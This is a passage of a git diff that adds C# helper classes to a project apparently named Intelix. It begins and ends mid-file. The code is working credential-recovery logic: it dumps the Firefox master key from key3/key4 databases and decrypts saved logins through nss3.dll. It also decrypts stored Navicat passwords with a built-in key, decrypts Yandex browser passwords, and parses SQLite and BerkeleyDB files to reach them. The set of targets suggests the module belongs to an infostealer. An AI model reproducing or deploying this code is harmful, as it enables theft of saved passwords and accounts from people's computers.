DpApi.Decrypt(encryptedData); + } + return DpApi.Decrypt(encryptedData); + } + + private static string LocalStateContent(string localstate) + { + string text = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName()); + File.Copy(localstate, text, overwrite: true); + string result = File.ReadAllText(text); + File.Delete(text); + return result; + } +} diff --git a/Intelix.Helper.Encrypted/NSSDecryptor.cs b/Intelix.Helper.Encrypted/NSSDecryptor.cs new file mode 100644 index 0000000..a572756 --- /dev/null +++ b/Intelix.Helper.Encrypted/NSSDecryptor.cs @@ -0,0 +1,80 @@ +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public static class NSSDecryptor +{ + public struct SECItem + { + public int Type; + + public IntPtr Data; + + public int Len; + } + + [DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)] + private static extern int NSS_Init(string configdir); + + [DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)] + private static extern int NSS_Shutdown(); + + [DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)] + private static extern int PK11SDR_Decrypt(ref SECItem data, ref SECItem result, int cx); + + public static bool Initialize(string profilePath) + { + try + { + string text = "C:\\Program Files\\Mozilla Firefox"; + if (!Directory.Exists(text)) + { + return false; + } + string environmentVariable = Environment.GetEnvironmentVariable("PATH"); + environmentVariable = environmentVariable + ";" + text; + Environment.SetEnvironmentVariable("PATH", environmentVariable); + return NSS_Init(profilePath) == 0; + } + catch + { + return false; + } + } + + public static string Decrypt(string base64) + { + try + { + byte[] array = Convert.FromBase64String(base64); + if (array.Length == 0) + { + return null; + } + SECItem data = new SECItem + { + Data = Marshal.AllocHGlobal(array.Length), + Len = array.Length, + Type = 0 + }; + Marshal.Copy(array, 0, data.Data, array.Length); + SECItem result = default(SECItem); + int num = PK11SDR_Decrypt(ref data, ref result, 0); + Marshal.FreeHGlobal(data.Data); + if (num != 0 || result.Data == IntPtr.Zero) + { + return null; + } + byte[] array2 = new byte[result.Len]; + Marshal.Copy(result.Data, array2, 0, result.Len); + return Encoding.UTF8.GetString(array2); + } + catch + { + return null; + } + } +} diff --git a/Intelix.Helper.Encrypted/Navicat11Cipher.cs b/Intelix.Helper.Encrypted/Navicat11Cipher.cs new file mode 100644 index 0000000..2dca7fa --- /dev/null +++ b/Intelix.Helper.Encrypted/Navicat11Cipher.cs @@ -0,0 +1,64 @@ +using System; +using System.Linq; +using System.Security.Cryptography; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public class Navicat11Cipher +{ + private Blowfish blowfishCipher; + + protected byte[] StringToByteArray(string hex) + { + return (from x in Enumerable.Range(0, hex.Length) + where x % 2 == 0 + select Convert.ToByte(hex.Substring(x, 2), 16)).ToArray(); + } + + protected void XorBytes(byte[] a, byte[] b, int len) + { + for (int i = 0; i < len; i++) + { + a[i] ^= b[i]; + } + } + + public Navicat11Cipher() + { + byte[] array = new byte[8] { 51, 68, 67, 53, 67, 65, 51, 57 }; + using SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider(); + sHA1CryptoServiceProvider.TransformFinalBlock(array, 0, array.Length); + blowfishCipher = new Blowfish(sHA1CryptoServiceProvider.Hash); + } + + public string DecryptString(string ciphertext) + { + byte[] array = StringToByteArray(ciphertext); + byte[] array2 = Enumerable.Repeat(byte.MaxValue, blowfishCipher.BlockSize).ToArray(); + blowfishCipher.Encrypt(array2, Blowfish.Endian.Big); + byte[] array3 = new byte[0]; + int num = array.Length / blowfishCipher.BlockSize; + int num2 = array.Length % blowfishCipher.BlockSize; + byte[] array4 = new byte[blowfishCipher.BlockSize]; + byte[] array5 = new byte[blowfishCipher.BlockSize]; + for (int i = 0; i < num; i++) + { + Array.Copy(array, blowfishCipher.BlockSize * i, array4, 0, blowfishCipher.BlockSize); + Array.Copy(array4, array5, blowfishCipher.BlockSize); + blowfishCipher.Decrypt(array4, Blowfish.Endian.Big); + XorBytes(array4, array2, blowfishCipher.BlockSize); + array3 = array3.Concat(array4).ToArray(); + XorBytes(array2, array5, blowfishCipher.BlockSize); + } + if (num2 != 0) + { + Array.Clear(array4, 0, array4.Length); + Array.Copy(array, blowfishCipher.BlockSize * num, array4, 0, num2); + blowfishCipher.Encrypt(array2, Blowfish.Endian.Big); + XorBytes(array4, array2, blowfishCipher.BlockSize); + array3 = array3.Concat(array4.Take(num2).ToArray()).ToArray(); + } + return Encoding.UTF8.GetString(array3); + } +} diff --git a/Intelix.Helper.Encrypted/NssDumpMasterKey.cs b/Intelix.Helper.Encrypted/NssDumpMasterKey.cs new file mode 100644 index 0000000..50c3714 --- /dev/null +++ b/Intelix.Helper.Encrypted/NssDumpMasterKey.cs @@ -0,0 +1,178 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.Linq; +using System.Text; +using Intelix.Helper.Hashing; +using Intelix.Helper.Sql; + +namespace Intelix.Helper.Encrypted; + +public static class NssDumpMasterKey +{ + public static byte[] Key4Database(string path) + { + Asn1Der asn1Der = new Asn1Der(); + SqLite sqLite = SqLite.ReadTable(path, "metaData"); + if (sqLite == null) + { + return null; + } + for (int i = 0; i < sqLite.GetRowCount(); i++) + { + if (sqLite.GetValue(i, 0) != "password") + { + continue; + } + byte[] bytes = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 1)); + byte[] bytes2 = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 2)); + if (bytes.Length < 1 || bytes2.Length < 1) + { + continue; + } + Asn1DerObject asn1DerObject = asn1Der.Parse(bytes2); + string text = asn1DerObject.ToString(); + if (text == null) + { + continue; + } + if (text.Contains("2A864886F70D010C050103")) + { + byte[] array = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Data; + byte[] array2 = asn1DerObject.Objects[0]?.Objects[1]?.Data; + if (array == null || array2 == null) + { + continue; + } + byte[] bytes3 = new TripleDes(array2, bytes, new byte[0], array).Compute(); + if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes3).StartsWith("password-check")) + { + continue; + } + } + else + { + if (!text.Contains("2A864886F70D01050D")) + { + continue; + } + byte[] array3 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Objects[1]?.Objects[0]?.Data; + byte[] array4 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[2]?.Objects[1]?.Data; + byte[] array5 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[3]?.Data; + if (array3 == null || array4 == null || array5 == null) + { + continue; + } + byte[] bytes4 = new PBE(array5, bytes, new byte[0], array3, array4).Compute(); + if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes4).StartsWith("password-check")) + { + continue; + } + } + sqLite = SqLite.ReadTable(path, "nssPrivate"); + if (sqLite != null) + { + int num = 0; + if (num < sqLite.GetRowCount()) + { + byte[] bytes5 = Encoding.UTF8.GetBytes(sqLite.GetValue(num, 6)); + Asn1DerObject asn1DerObject2 = asn1Der.Parse(bytes5); + byte[] sourceArray = new PBE(entrySalt: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[0].Objects[1].Objects[0].Data, partIv: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[2].Objects[1].Data, ciphertext: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[3].Data, globalSalt: bytes, masterPassword: new byte[0]).Compute(); + byte[] array6 = new byte[24]; + Array.Copy(sourceArray, array6, array6.Length); + return array6; + } + } + } + return null; + } + + public static byte[] Key3Database(string path) + { + byte[] array = File.ReadAllBytes(path); + if (array == null) + { + return null; + } + Asn1Der asn1Der = new Asn1Der(); + BerkeleyDB berkeleyDB = new BerkeleyDB(array); + string text = berkeleyDB.Keys.Where(delegate(KeyValuePair p) + { + KeyValuePair keyValuePair = p; + return keyValuePair.Key.Equals("password-check"); + }).Select(delegate(KeyValuePair p) + { + KeyValuePair keyValuePair = p; + return keyValuePair.Value; + }).FirstOrDefault(); + if (text == null) + { + return null; + } + text = text.Replace("-", null); + int num = int.Parse(text.Substring(2, 2), NumberStyles.HexNumber) * 2; + string hexString = text.Substring(6, num); + int num2 = text.Length - (6 + num + 36); + string hexString2 = text.Substring(6 + num + 4 + num2); + string text2 = berkeleyDB.Keys.Where(delegate(KeyValuePair p) + { + KeyValuePair keyValuePair = p; + return keyValuePair.Key.Equals("global-salt"); + }).Select(delegate(KeyValuePair p) + { + KeyValuePair keyValuePair = p; + return keyValuePair.Value; + }).FirstOrDefault(); + if (text2 == null) + { + return null; + } + text2 = text2.Replace("-", null); + TripleDes tripleDes = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), HexToBytes(hexString)); + tripleDes.ComputeVoid(); + if (!TripleDes.DecryptStringDesCbc(tripleDes.Key, tripleDes.Vector, HexToBytes(hexString2)).StartsWith("password-check")) + { + return null; + } + string text3 = (from p in berkeleyDB.Keys + where !p.Key.Equals("global-salt") && !p.Key.Equals("Version") && !p.Key.Equals("password-check") + select p.Value).FirstOrDefault(); + if (text3 == null) + { + return null; + } + text3 = text3.Replace("-", ""); + Asn1DerObject asn1DerObject = asn1Der.Parse(HexToBytes(text3)); + TripleDes tripleDes2 = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), asn1DerObject.Objects[0].Objects[0].Objects[1].Objects[0].Data); + tripleDes2.ComputeVoid(); + byte[] toParse = TripleDes.DecryptByteDesCbc(tripleDes2.Key, tripleDes2.Vector, asn1DerObject.Objects[0].Objects[1].Data); + Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse); + Asn1DerObject asn1DerObject3 = asn1Der.Parse(asn1DerObject2.Objects[0].Objects[2].Data); + byte[] array2 = new byte[24]; + if (asn1DerObject3.Objects[0].Objects[3].Data.Length > 24) + { + Array.Copy(asn1DerObject3.Objects[0].Objects[3].Data, asn1DerObject3.Objects[0].Objects[3].Data.Length - 24, array2, 0, 24); + } + else + { + array2 = asn1DerObject3.Objects[0].Objects[3].Data; + } + return array2; + } + + public static byte[] HexToBytes(string hexString) + { + if (hexString.Length % 2 != 0) + { + return null; + } + byte[] array = new byte[hexString.Length / 2]; + for (int i = 0; i < array.Length; i++) + { + string s = hexString.Substring(i * 2, 2); + array[i] = byte.Parse(s, NumberStyles.HexNumber, CultureInfo.InvariantCulture); + } + return array; + } +} diff --git a/Intelix.Helper.Encrypted/RC4Crypt.cs b/Intelix.Helper.Encrypted/RC4Crypt.cs new file mode 100644 index 0000000..8a0ca7d --- /dev/null +++ b/Intelix.Helper.Encrypted/RC4Crypt.cs @@ -0,0 +1,50 @@ +namespace Intelix.Helper.Encrypted; + +public class RC4Crypt +{ + public static byte[] Decrypt(byte[] key, byte[] data) + { + if (key == null) + { + return null; + } + if (key.Length == 0) + { + return null; + } + if (data == null) + { + return null; + } + byte[] array = new byte[256]; + for (int i = 0; i < 256; i++) + { + array[i] = (byte)i; + } + int num = 0; + for (int j = 0; j < 256; j++) + { + num = (num + array[j] + key[j % key.Length]) & 0xFF; + Swap(array, j, num); + } + byte[] array2 = new byte[data.Length]; + int num2 = 0; + num = 0; + for (int k = 0; k < data.Length; k++) + { + num2 = (num2 + 1) & 0xFF; + num = (num + array[num2]) & 0xFF; + Swap(array, num2, num); + byte b = array[(array[num2] + array[num]) & 0xFF]; + array2[k] = (byte)(data[k] ^ b); + } + return array2; + } + + private static void Swap(byte[] arr, int a, int b) + { + byte b2 = arr[a]; + arr[a] = arr[b]; + arr[b] = b2; + } +} diff --git a/Intelix.Helper.Encrypted/TripleDes.cs b/Intelix.Helper.Encrypted/TripleDes.cs new file mode 100644 index 0000000..90cf357 --- /dev/null +++ b/Intelix.Helper.Encrypted/TripleDes.cs @@ -0,0 +1,163 @@ +using System; +using System.IO; +using System.Security.Cryptography; + +namespace Intelix.Helper.Encrypted; + +internal class TripleDes +{ + private byte[] CipherText { get; } + + private byte[] GlobalSalt { get; } + + private byte[] MasterPassword { get; } + + private byte[] EntrySalt { get; } + + public byte[] Key { get; private set; } + + public byte[] Vector { get; private set; } + + public TripleDes(byte[] cipherText, byte[] globalSalt, byte[] masterPass, byte[] entrySalt) + { + CipherText = cipherText; + GlobalSalt = globalSalt; + MasterPassword = masterPass; + EntrySalt = entrySalt; + } + + public TripleDes(byte[] globalSalt, byte[] masterPassword, byte[] entrySalt) + { + GlobalSalt = globalSalt; + MasterPassword = masterPassword; + EntrySalt = entrySalt; + } + + public void ComputeVoid() + { + SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider(); + byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length]; + Array.Copy(GlobalSalt, 0, array, 0, GlobalSalt.Length); + Array.Copy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length); + byte[] array2 = sHA1CryptoServiceProvider.ComputeHash(array); + byte[] array3 = new byte[array2.Length + EntrySalt.Length]; + Array.Copy(array2, 0, array3, 0, array2.Length); + Array.Copy(EntrySalt, 0, array3, array2.Length, EntrySalt.Length); + byte[] key = sHA1CryptoServiceProvider.ComputeHash(array3); + byte[] array4 = new byte[20]; + Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length); + for (int i = EntrySalt.Length; i < 20; i++) + { + array4[i] = 0; + } + byte[] array5 = new byte[array4.Length + EntrySalt.Length]; + Array.Copy(array4, 0, array5, 0, array4.Length); + Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length); + byte[] array6; + byte[] array9; + using (HMACSHA1 hMACSHA = new HMACSHA1(key)) + { + array6 = hMACSHA.ComputeHash(array5); + byte[] array7 = hMACSHA.ComputeHash(array4); + byte[] array8 = new byte[array7.Length + EntrySalt.Length]; + Array.Copy(array7, 0, array8, 0, array7.Length); + Array.Copy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length); + array9 = hMACSHA.ComputeHash(array8); + } + byte[] array10 = new byte[array6.Length + array9.Length]; + Array.Copy(array6, 0, array10, 0, array6.Length); + Array.Copy(array9, 0, array10, array6.Length, array9.Length); + Key = new byte[24]; + for (int j = 0; j < Key.Length; j++) + { + Key[j] = array10[j]; + } + Vector = new byte[8]; + int num = Vector.Length - 1; + for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--) + { + Vector[num] = array10[num2]; + num--; + } + } + + public byte[] Compute() + { + byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length]; + Buffer.BlockCopy(GlobalSalt, 0, array, 0, GlobalSalt.Length); + Buffer.BlockCopy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length); + byte[] array2 = new SHA1Managed().ComputeHash(array); + byte[] array3 = new byte[array2.Length + EntrySalt.Length]; + Buffer.BlockCopy(array2, 0, array3, 0, array2.Length); + Buffer.BlockCopy(EntrySalt, 0, array3, EntrySalt.Length, array2.Length); + byte[] key = new SHA1Managed().ComputeHash(array3); + byte[] array4 = new byte[20]; + Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length); + for (int i = EntrySalt.Length; i < 20; i++) + { + array4[i] = 0; + } + byte[] array5 = new byte[array4.Length + EntrySalt.Length]; + Array.Copy(array4, 0, array5, 0, array4.Length); + Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length); + byte[] array6; + byte[] array9; + using (HMACSHA1 hMACSHA = new HMACSHA1(key)) + { + array6 = hMACSHA.ComputeHash(array5); + byte[] array7 = hMACSHA.ComputeHash(array4); + byte[] array8 = new byte[array7.Length + EntrySalt.Length]; + Buffer.BlockCopy(array7, 0, array8, 0, array7.Length); + Buffer.BlockCopy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length); + array9 = hMACSHA.ComputeHash(array8); + } + byte[] array10 = new byte[array6.Length + array9.Length]; + Array.Copy(array6, 0, array10, 0, array6.Length); + Array.Copy(array9, 0, array10, array6.Length, array9.Length); + Key = new byte[24]; + for (int j = 0; j < Key.Length; j++) + { + Key[j] = array10[j]; + } + Vector = new byte[8]; + int num = Vector.Length - 1; + for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--) + { + Vector[num] = array10[num2]; + num--; + } + byte[] sourceArray = DecryptByteDesCbc(Key, Vector, CipherText); + byte[] array11 = new byte[24]; + Array.Copy(sourceArray, array11, array11.Length); + return array11; + } + + public static string DecryptStringDesCbc(byte[] key, byte[] iv, byte[] input) + { + using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider(); + tripleDESCryptoServiceProvider.Key = key; + tripleDESCryptoServiceProvider.IV = iv; + tripleDESCryptoServiceProvider.Mode = CipherMode.CBC; + tripleDESCryptoServiceProvider.Padding = PaddingMode.None; + ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV); + using MemoryStream stream = new MemoryStream(input); + using CryptoStream stream2 = new CryptoStream(stream, transform, CryptoStreamMode.Read); + using StreamReader streamReader = new StreamReader(stream2); + return streamReader.ReadToEnd(); + } + + public static byte[] DecryptByteDesCbc(byte[] key, byte[] iv, byte[] input) + { + byte[] array = new byte[512]; + using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider(); + tripleDESCryptoServiceProvider.Key = key; + tripleDESCryptoServiceProvider.IV = iv; + tripleDESCryptoServiceProvider.Mode = CipherMode.CBC; + tripleDESCryptoServiceProvider.Padding = PaddingMode.None; + ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV); + using MemoryStream stream = new MemoryStream(input); + using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Read); + cryptoStream.Read(array, 0, array.Length); + return array; + } +} diff --git a/Intelix.Helper.Encrypted/Xor.cs b/Intelix.Helper.Encrypted/Xor.cs new file mode 100644 index 0000000..0f0b2db --- /dev/null +++ b/Intelix.Helper.Encrypted/Xor.cs @@ -0,0 +1,16 @@ +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public static class Xor +{ + public static string DecryptString(string input, byte key) + { + byte[] bytes = Encoding.UTF8.GetBytes(input); + for (int i = 0; i < bytes.Length; i++) + { + bytes[i] ^= key; + } + return Encoding.UTF8.GetString(bytes); + } +} diff --git a/Intelix.Helper.Encrypted/YaAuthenticatedData.cs b/Intelix.Helper.Encrypted/YaAuthenticatedData.cs new file mode 100644 index 0000000..9394ef4 --- /dev/null +++ b/Intelix.Helper.Encrypted/YaAuthenticatedData.cs @@ -0,0 +1,45 @@ +using System; +using System.Security.Cryptography; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public static class YaAuthenticatedData +{ + public static byte[] Decrypt(byte[] encryptionKey, byte[] password_value, string url, string username_element, string password_element, string username_value, string signon_realm) + { + byte[] aad = new byte[0]; + using (SHA1 sHA = SHA1.Create()) + { + byte[] bytes = Encoding.UTF8.GetBytes(url); + byte[] bytes2 = Encoding.UTF8.GetBytes(username_element); + byte[] bytes3 = Encoding.UTF8.GetBytes(username_value); + byte[] bytes4 = Encoding.UTF8.GetBytes(password_element); + byte[] bytes5 = Encoding.UTF8.GetBytes(signon_realm); + byte[] array = new byte[bytes.Length + 1 + bytes2.Length + 1 + bytes3.Length + 1 + bytes4.Length + 1 + bytes5.Length]; + int num = 0; + Array.Copy(bytes, 0, array, num, bytes.Length); + num += bytes.Length; + array[num++] = 0; + Array.Copy(bytes2, 0, array, num, bytes2.Length); + num += bytes2.Length; + array[num++] = 0; + Array.Copy(bytes3, 0, array, num, bytes3.Length); + num += bytes3.Length; + array[num++] = 0; + Array.Copy(bytes4, 0, array, num, bytes4.Length); + num += bytes4.Length; + array[num++] = 0; + Array.Copy(bytes5, 0, array, num, bytes5.Length); + aad = sHA.ComputeHash(array); + } + byte[] array2 = new byte[12]; + Array.Copy(password_value, 0, array2, 0, 12); + int num2 = password_value.Length - 12 - 16; + byte[] array3 = new byte[num2]; + Array.Copy(password_value, 12, array3, 0, num2); + byte[] array4 = new byte[16]; + Array.Copy(password_value, password_value.Length - 16, array4, 0, 16); + return AesGcm256.Decrypt(encryptionKey, array2, aad, array3, array4); + } +} diff --git a/Intelix.Helper.Hashing/._PBE.cs b/Intelix.Helper.Hashing/._PBE.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper.Hashing/._PBE.cs differ diff --git a/Intelix.Helper.Hashing/PBE.cs b/Intelix.Helper.Hashing/PBE.cs new file mode 100644 index 0000000..d5a3a16 --- /dev/null +++ b/Intelix.Helper.Hashing/PBE.cs @@ -0,0 +1,46 @@ +using System; +using System.Security.Cryptography; + +namespace Intelix.Helper.Hashing; + +public class PBE +{ + private byte[] Ciphertext { get; } + + private byte[] GlobalSalt { get; } + + private byte[] MasterPass { get; } + + private byte[] EntrySalt { get; } + + private byte[] PartIv { get; } + + public PBE(byte[] ciphertext, byte[] globalSalt, byte[] masterPassword, byte[] entrySalt, byte[] partIv) + { + Ciphertext = ciphertext; + GlobalSalt = globalSalt; + MasterPass = masterPassword; + EntrySalt = entrySalt; + PartIv = partIv; + } + + public byte[] Compute() + { + byte[] array = new byte[GlobalSalt.Length + MasterPass.Length]; + Buffer.BlockCopy(GlobalSalt, 0, array, 0, GlobalSalt.Length); + Buffer.BlockCopy(MasterPass, 0, array, GlobalSalt.Length, MasterPass.Length); + byte[] password = new SHA1Managed().ComputeHash(array); + byte[] array2 = new byte[2] { 4, 14 }; + byte[] array3 = new byte[array2.Length + PartIv.Length]; + Buffer.BlockCopy(array2, 0, array3, 0, array2.Length); + Buffer.BlockCopy(PartIv, 0, array3, array2.Length, PartIv.Length); + byte[] bytes = new PBKDF2(new HMACSHA256(), password, EntrySalt, 1).GetBytes(32); + return new AesManaged + { + Mode = CipherMode.CBC, + BlockSize = 128, + KeySize = 256, + Padding = PaddingMode.Zeros + }.CreateDecryptor(bytes, array3).TransformFinalBlock(Ciphertext, 0, Ciphertext.Length); + } +} diff --git a/Intelix.Helper.Hashing/PBKDF2.cs b/Intelix.Helper.Hashing/PBKDF2.cs new file mode 100644 index 0000000..b3ca86a --- /dev/null +++ b/Intelix.Helper.Hashing/PBKDF2.cs @@ -0,0 +1,106 @@ +using System; +using System.Security.Cryptography; + +namespace Intelix.Helper.Hashing; + +public class PBKDF2 +{ + private readonly int _blockSize; + + private uint _blockIndex = 1u; + + private byte[] _bufferBytes; + + private int _bufferStartIndex; + + private int _bufferEndIndex; + + private HMAC Algorithm { get; } + + private byte[] Salt { get; } + + private int IterationCount { get; } + + public PBKDF2(HMAC algorithm, byte[] password, byte[] salt, int iterations) + { + Algorithm = algorithm ?? throw new ArgumentNullException("algorithm", "Algorithm cannot be null."); + Algorithm.Key = password ?? throw new ArgumentNullException("password", "Password cannot be null."); + Salt = salt ?? throw new ArgumentNullException("salt", "Salt cannot be null."); + IterationCount = iterations; + _blockSize = Algorithm.HashSize / 8; + _bufferBytes = new byte[_blockSize]; + } + + public byte[] GetBytes(int count) + { + byte[] array = new byte[count]; + int i = 0; + int num = _bufferEndIndex - _bufferStartIndex; + if (num > 0) + { + if (count < num) + { + Buffer.BlockCopy(_bufferBytes, _bufferStartIndex, array, 0, count); + _bufferStartIndex += count; + return array; + } + Buffer.BlockCopy(_bufferBytes, _bufferStartIndex, array, 0, num); + _bufferStartIndex = (_bufferEndIndex = 0); + i += num; + } + for (; i < count; i += _blockSize) + { + int num2 = count - i; + _bufferBytes = Func(); + if (num2 > _blockSize) + { + Buffer.BlockCopy(_bufferBytes, 0, array, i, _blockSize); + continue; + } + Buffer.BlockCopy(_bufferBytes, 0, array, i, num2); + _bufferStartIndex = num2; + _bufferEndIndex = _blockSize; + return array; + } + return array; + } + + private byte[] Func() + { + byte[] array = new byte[Salt.Length + 4]; + Buffer.BlockCopy(Salt, 0, array, 0, Salt.Length); + Buffer.BlockCopy(GetBytesFromInt(_blockIndex), 0, array, Salt.Length, 4); + byte[] array2 = Algorithm.ComputeHash(array); + byte[] array3 = array2; + for (int i = 2; i <= IterationCount; i++) + { + array2 = Algorithm.ComputeHash(array2, 0, array2.Length); + for (int j = 0; j < _blockSize; j++) + { + array3[j] ^= array2[j]; + } + } + if (_blockIndex == uint.MaxValue) + { + throw new InvalidOperationException("Derived key too long."); + } + _blockIndex++; + return array3; + } + + private static byte[] GetBytesFromInt(uint i) + { + byte[] bytes = BitConverter.GetBytes(i); + if (!BitConverter.IsLittleEndian) + { + return bytes; + } + return new byte[4] + { + bytes[3], + bytes[2], + bytes[1], + bytes[0] + }; + } +} diff --git a/Intelix.Helper.Sql/._SqLite.cs b/Intelix.Helper.Sql/._SqLite.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper.Sql/._SqLite.cs differ diff --git a/Intelix.Helper.Sql/BerkeleyDB.cs b/Intelix.Helper.Sql/BerkeleyDB.cs new file mode 100644 index 0000000..657d13d --- /dev/null +++ b/Intelix.Helper.Sql/BerkeleyDB.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Intelix.Helper.Sql; + +public class BerkeleyDB +{ + public List> Keys { get; } + + public BerkeleyDB(byte[] file) + { + List list = new List(); + Keys = new List>(); + using (MemoryStream input = new MemoryStream(file)) + { + using BinaryReader binaryReader = new BinaryReader(input); + int i = 0; + for (int num = (int)binaryReader.BaseStream.Length; i < num; i++) + { + list.Add(binaryReader.ReadByte()); + } + } + string text = BitConverter.ToString(Extract(list.ToArray(), 0, 4, littleEndian: false)).Replace("-", ""); + int num2 = BitConverter.ToInt32(Extract(list.ToArray(), 12, 4, littleEndian: true), 0); + if (!text.Equals("00061561")) + { + return; + } + int num3 = int.Parse(BitConverter.ToString(Extract(list.ToArray(), 56, 4, littleEndian: false)).Replace("-", "")); + int num4 = 1; + while (Keys.Count < num3) + { + string[] array = new string[(num3 - Keys.Count) * 2]; + for (int j = 0; j < (num3 - Keys.Count) * 2; j++) + { + array[j] = BitConverter.ToString(Extract(list.ToArray(), num2 * num4 + 2 + j * 2, 2, littleEndian: true)).Replace("-", ""); + } + Array.Sort(array); + for (int k = 0; k < array.Length; k += 2) + { + int num5 = Convert.ToInt32(array[k], 16) + num2 * num4; + int num6 = Convert.ToInt32(array[k + 1], 16) + num2 * num4; + int num7 = ((k + 2 >= array.Length) ? (num2 + num2 * num4) : (Convert.ToInt32(array[k + 2], 16) + num2 * num4)); + string text2 = Encoding.ASCII.GetString(Extract(list.ToArray(), num6, num7 - num6, littleEndian: false)); + string value = BitConverter.ToString(Extract(list.ToArray(), num5, num6 - num5, littleEndian: false)); + if (!string.IsNullOrWhiteSpace(text2)) + { + Keys.Add(new KeyValuePair(text2, value)); + } + } + num4++; + } + } + + private static byte[] Extract(byte[] source, int start, int length, bool littleEndian) + { + byte[] array = new byte[length]; + int num = 0; + for (int i = start; i < start + length; i++) + { + array[num] = source[i]; + num++; + } + if (littleEndian) + { + Array.Reverse(array); + } + return array; + } +} diff --git a/Intelix.Helper.Sql/SqLite.cs b/Intelix.Helper.Sql/SqLite.cs new file mode 100644 index 0000000..591b7fa --- /dev/null +++ b/Intelix.Helper.Sql/SqLite.cs @@ -0,0 +1,457 @@ +using System; +using System.IO; +using System.Text; + +namespace Intelix.Helper.Sql; + +public class SqLite +{ + private struct RecordHeaderField + { + public long Size; + + public long Type; + } + + private struct TableEntry + { + public string[] Content; + } + + private struct SqliteMasterEntry + { + public string ItemName; + + public long RootNum; + + public string SqlStatement; + } + + private readonly ulong _dbEncoding; + + private readonly byte[] _fileBytes; + + private readonly ulong _pageSize; + + private readonly byte[] _sqlDataTypeSize = new byte[10] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 }; + + private string[] _fieldNames; + + private SqliteMasterEntry[] _masterTableEntries; + + private TableEntry[] _tableEntries; + + public SqLite(string fileName) + { + _fileBytes = File.ReadAllBytes(fileName); + _pageSize = ConvertToULong(16, 2); + _dbEncoding = ConvertToULong(56, 4); + ReadMasterTable(100L); + } + + public SqLite(byte[] basedata) + { + _fileBytes = basedata; + _pageSize = ConvertToULong(16, 2); + _dbEncoding = ConvertToULong(56, 4); + ReadMasterTable(100L); + } + + public string GetValue(int rowNum, int field) + { + try + { + if (rowNum >= _tableEntries.Length) + { + return null; + } + return (field >= _tableEntries[rowNum].Content.Length) ? null : _tableEntries[rowNum].Content[field]; + } + catch + { + return ""; + } + } + + public int GetRowCount() + { + return _tableEntries.Length; + } + + private bool ReadTableFromOffset(ulong offset) + { + try + { + switch (_fileBytes[offset]) + { + case 13: + { + uint num4 = (uint)(ConvertToULong((int)offset + 3, 2) - 1); + int num5 = 0; + if (_tableEntries != null) + { + num5 = _tableEntries.Length; + Array.Resize(ref _tableEntries, _tableEntries.Length + (int)num4 + 1); + } + else + { + _tableEntries = new TableEntry[num4 + 1]; + } + for (uint num6 = 0u; (int)num6 <= (int)num4; num6++) + { + ulong num7 = ConvertToULong((int)offset + 8 + (int)(num6 * 2), 2); + if (offset != 100) + { + num7 += offset; + } + int num8 = Gvl((int)num7); + Cvl((int)num7, num8); + int num9 = Gvl((int)((long)num7 + ((long)num8 - (long)num7) + 1)); + Cvl((int)((long)num7 + ((long)num8 - (long)num7) + 1), num9); + ulong num10 = num7 + (ulong)((long)num9 - (long)num7 + 1); + int num11 = Gvl((int)num10); + int num12 = num11; + long num13 = Cvl((int)num10, num11); + RecordHeaderField[] array = null; + long num14 = (long)num10 - (long)num11 + 1; + int num15 = 0; + while (num14 < num13) + { + Array.Resize(ref array, num15 + 1); + int num16 = num12 + 1; + num12 = Gvl(num16); + array[num15].Type = Cvl(num16, num12); + array[num15].Size = ((array[num15].Type <= 9) ? _sqlDataTypeSize[array[num15].Type] : ((!IsOdd(array[num15].Type)) ? 